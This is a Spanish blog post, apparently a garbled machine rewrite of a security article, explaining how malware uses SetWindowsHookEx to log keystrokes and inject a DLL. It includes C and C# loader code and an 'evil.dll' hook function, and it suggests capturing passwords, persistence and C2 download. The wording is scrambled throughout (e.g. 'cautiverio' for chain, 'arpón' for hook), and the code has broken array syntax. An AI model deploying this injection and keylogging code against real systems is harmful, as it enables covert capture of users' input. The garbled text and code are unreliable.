Volvemos con otra publicación sobre técnicas comunes de malware. Esta vez estamos hablando de configurar ganchos de Windows. Esta es una técnica simple que se puede utilizar para registrar pulsaciones de teclas o inyectar código en procesos remotos. Emplearemos el uso de EstablecerWindowsHookEx para registrar una función que se llamará cada vez que se active un evento.
Demostraremos este método en C y C# como lo hicimos en publicaciones anteriores.
1.1 ¿Cómo funciona?
Este ataque funciona utilizando el sistema operante Windows. EstablecerWindowsHookEx función. Esta función permite al programador indicarle a Windows que agregue un procedimiento de enlace específico en una cautiverio de enlaces. Un ejemplo sería enganchar el WH_KEYBOARD escriba para crear un registrador de pulsaciones de teclas.
Cada vez que se presiona o suelta una tecla, se colocará un mensaje en una registro o cautiverio de mensajes conocida como cautiverio de arpón. Cada conexión de la cautiverio procesará el mensaje y luego lo pasará al próximo conexión. La función de audición puede entonces juntar las pulsaciones de teclas en la memoria, en el disco o enviarlas a un servidor C2.
Los parámetros para el EstablecerWindowsHookEx función se muestran a continuación.
HHOOK SetWindowsHookExA(
(in) int idHook,
(in) HOOKPROC lpfn,
(in) HINSTANCE hmod,
(in) DWORD dwThreadId
);
- arpón de identificación es el tipo de arpón que se agregará. Hay una registro de 14 tipos diferentes de ganchos, aunque algunos están depreciados en ventanas más nuevas. Para nuestros propósitos, nos centraremos en la WH_KEYBOARD tipo arpón. Esto señalará nuestra función definida por la aplicación cada vez que se active un evento de teclado.
- lpfn es un puntero a la función definida por la aplicación que se llamará cuando se active el evento. Esta función debe contener los siguientes parámetros: nCódigo, wParamy lDetener.
- hmod es un puntero a la biblioteca que contiene la función definida por la aplicación. En nuestro caso, será una DLL maliciosa que se carga en el sistema de destino. Usaremos un nombre obvio llamado mal.dll.
- dwThreadID es el identificador del hilo al que se va a atar el arponcillo. Este parámetro con el valía de 0 (cero)en computadoras de escritorio, agregará este enlace a todos los subprocesos que se ejecutan en el escritorio, no solo al subproceso coetáneo.
Posteriormente de pegar el arpón a la cadena_ganchola DLL registrada se cargará en cualquier proceso que desencadene ese evento de enlace. Entonces, cualquier proceso en el que se presione una tecla ejecutará nuestro código desconfiado. La próximo imagen es de un punto de interrupción X64dbg establecido para cuando se carga una nueva DLL. El depurador se adjuntó a Microsoft Notepad.exe luego de que se inició el proceso desconfiado. Se comprobó que el mal.dll no se cargó en el espacio de memoria del Bloc de notas. Luego, escribir un solo carácter en la aplicación Bloc de notas provocó que mal.dll para ser cargado en ese espacio de memoria y ejecutado.
1.2 Demostración de código en C y C#
Comenzaremos con un ejemplo en C. El ejemplo es muy pequeño y en sí mismo es bienintencionado. El ejemplo comienza cargando una biblioteca en la memoria. Luego busque la dirección de una de sus funciones. La biblioteca y las direcciones de función se utilizan luego en el EstablecerWindowsHookEx convocatoria a función. Las últimas líneas del ejemplo evitan que este software finalice hasta que estemos listos. Tan pronto como finalice el software, se eliminará el arpón que agregamos.
04 int main( int argc, char* argv() )
05 {
06 HMODULE library = LoadLibrary("evil.dll");
07 HOOKPROC hookProc = (HOOKPROC)GetProcAddress(library, "evil_func");
08 HHOOK hook = SetWindowsHookEx(WH_KEYBOARD, hookProc, library, 0);
09 char option;
10 printf("Enter 'q' to exitn");
11 do
12 {
13 option = getchar ();
14 }
15 while (option != 'q');
16 }
- Itinerario 6: carga la biblioteca solicitada en el espacio de memoria coetáneo y devuelve su dirección.
- Itinerario 7: examen en la biblioteca cargada una función con el nombre mal_func. Una vez antagónico, devuelve su dirección de memoria.
- Itinerario 8: Agrega un arpón al cadena_gancho para teclados que utilizan el EstablecerWindowsHookEx función.
- Líneas 10-15: mantiene el software amplio hasta que el afortunado ingresa el carácter q. Esto es necesario porque cuando el software sale, se elimina el arpón junto.
A continuación, analizaremos la DLL en sí. Este ejemplo está escrito en C pero asimismo podría escribirse en C#. El ejemplo de DLL malvada contiene dos funciones: DLLPrincipal y mal_func. DLLPrincipal se utiliza cuando se fuego a la biblioteca por primera vez. El mal_func se utiliza para realizar nuestras tareas más nefastas. En este caso, el mal_func está programado para escuchar las pulsaciones de teclas hasta que detecta la cautiverio COMENZARluego muestra un cuadro de mensaje al afortunado. Conveniente bienintencionado, pero esto podría, sin retención, estilarse para registrar las pulsaciones de teclas, ya que la función se llamará al menos una vez con cada pulsación de tecla. Otros usos podrían incluir un mecanismo de persistencia que sólo se activará cuando se haya escrito una secuencia de teclas específica. Imagine que el atacante conoce la estructura del nombre de afortunado del objetivo y quiere obtener las contraseñas. Es posible que se activen en ‘@TRUSTEDSEC.COM’ si los nombres de afortunado incluyen las direcciones de correo electrónico. Por otra parte, esto podría estilarse como un método de persistencia, donde el malware aplazamiento a que se active una secuencia de teclas específica y luego se comunica con un C2 para descargar el paquete de comunicación principal.
04 char lastKey = 0;
05 char str(6);
06 int str_len = 0;
07
08 __declspec(dllexport) LRESULT CALLBACK evil_func( int nCode, WPARAM wParam, LPARAM lParam )
09 {
10 char l_str(200);
11 if (lastKey == (char) wParam) goto END;
12 lastKey = (char)wParam;
13 if (str_len < 5)
14 {
15 str(str_len) = lastKey;
16 str_len += 1;
17 } else
18 {
19 strncpy(str, str+1,4);
20 str(str_len-1) = lastKey;
21 }
22 if (strncmp(str, "START", 5) == 0)
23 {
24 sprintf(l_str, "Malware is running now, str (%s)", str );
25 int msgboxID = MessageBox( NULL, l_str, "Are you sure?", MB_OKCANCEL);
26 }
27 END:
28 return CallNextHookEx( NULL, nCode, wParam, lParam );
29 }
30
31 bool __stdcall DllMain( HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
32 {
33 switch( dwReason )
34 {
35 case DLL_PROCESS_ATTACH:
36 memset(str,0,6);
37 break;
38 }
39 return TRUE;
40 }
- Líneas 4-6: Configuración de variables globales utilizadas por las funciones cada vez que se llaman para realizar un seguimiento de las entradas anteriores.
- Itinerario 8: El prototipo de función. ncódigo es el código que utilizó el arpón para procesar el mensaje. Especifica qué contendrán los siguientes parámetros. wParam es el código esencia para la tecla presionada. El lDetener contiene las banderas del mensaje. Incluyendo cosas como recuento de repeticiones, código de escaneo, etc.
- Itinerario 10: crea un espacio de memoria en la pila para juntar un mensaje de cautiverio
- Itinerario 11: Compara la nueva pulsación de tecla con la última pulsación de tecla. Esto se utiliza para filtrar envíos dobles, pulsación de teclas y independencia de teclas. Si es lo mismo entonces no hace carencia y regresa
- Itinerario 12: guardia la esencia coetáneo en la última esencia total
- Líneas 13-21: verifique la largo del búfer de cautiverio total. Si tiene menos de 5 caracteres, agregue el nuevo carácter. Si tiene más de 5 caracteres, mueva los caracteres uno con destino a la izquierda y agregue el nuevo carácter al final.
- Líneas 22-26: verifique el búfer de cautiverio total si contiene la palabra COMENZAR. Si es así, genere un cuadro de mensaje. De lo contrario, no hagas carencia.
- Líneas 27-28: limpia la función llamando a la próximo función en el teclado cadena_gancho y luego salir de la función.
- Líneas 31-40: esta es la función principal de la DLL que se utiliza al cargar la biblioteca por primera vez. En este caso, solo lo usamos para establecer la cautiverio total en todos ceros.
El ejemplo de C# y la traducción C son muy similares, con la excepción de que necesitamos encapsular las llamadas a la API de Windows en clases declaradas no seguras y usar una función contenedora para decidir las API de Windows que se utilizan.
07 namespace dll_sethook
08 {
09 unsafe class Program
10 {
11 static void Main(string() args)
12 {
13 IntPtr libAddr = Win32.LoadLibrary("evil.dll");
14 IntPtr evilAddr = Win32.GetProcAddress(libAddr, "evil_func");
15
16 IntPtr hook = Win32.SetWindowsHookEx(Win32.HookType.WH_KEYBOARD, evilAddr, libAddr, 0);
17
18 Console.WriteLine("Press 'q' to exit");
19 while (Console.ReadKey().Key != ConsoleKey.Q) {}
20 }
21 }
22 }
- Itinerario 9: Le dice a C# que toda la clase es “insegura” y utilizará funciones y memoria fuera del uso habitual habitual de C#.
- Itinerario 13: Uso de una clase auxiliar Win32 para cargar la definición de función de Cargar biblioteca para cargar el mal.dll en el espacio de memoria del software y devuelve la dirección de memoria de la biblioteca cargada.
- Itinerario 14: Usar la clase auxiliar nuevamente para entrar Obtener dirección Proc para encontrar la dirección de función del mal_func adentro de la biblioteca cargada.
- Itinerario 16: Agrega un arpón al cadena_gancho para teclados que utilizan el EstablecerWindowsHookEx función.
- Líneas 18-19: Mantiene el software amplio hasta que el afortunado ingresa el carácter q. Esto es necesario porque cuando el software sale, se elimina el arpón junto.
1.3 Trastornar el código
El código C que analizamos anteriormente se compiló en un ejecutable de Windows de 64 bits usando MinGW, luego se desensambló y descompiló con Ghidra. Como puede ver a continuación, el código fuente generado por Ghidra es muy parecido al flamante.
Revertir la decano parte del código C# es sencillo con la aparejo dnSpy. Existen métodos para ocultar o corromper el .exe para que dnSpy no pueda descompilarlo, pero en su decano parte, los atacantes no llegan a ese punto.
Para cargar el ejecutable en dnSpy, simplemente arrástrelo y suéltelo en el panel izquierdo. Una vez cargado, el panel proporcionará una registro de árbol de los componentes del .exe.
La próximo imagen es la descomplicación del ejemplo de enlace de C# como se muestra en dnSpy. Una vez más, está muy cerca del flamante.
1.4 Conclusión
Usando el EstablecerWindowsHookEx es una forma divertida de ilustrar el registrador de pulsaciones de teclas porque cuando se instala el arpón monitoreará todos los eventos de pulsaciones de teclas, no solo los del proceso de origen. Esta función asimismo se puede utilizar para inyectar archivos DLL maliciosos en procesos remotos, pero está limitada sólo a procesos que pertenecen al afortunado coetáneo. En el pasado, este método de inyección ha sido detectado por múltiples productos de seguridad y debe probarse en un laboratorio antiguamente de usarlo en un entorno de cliente.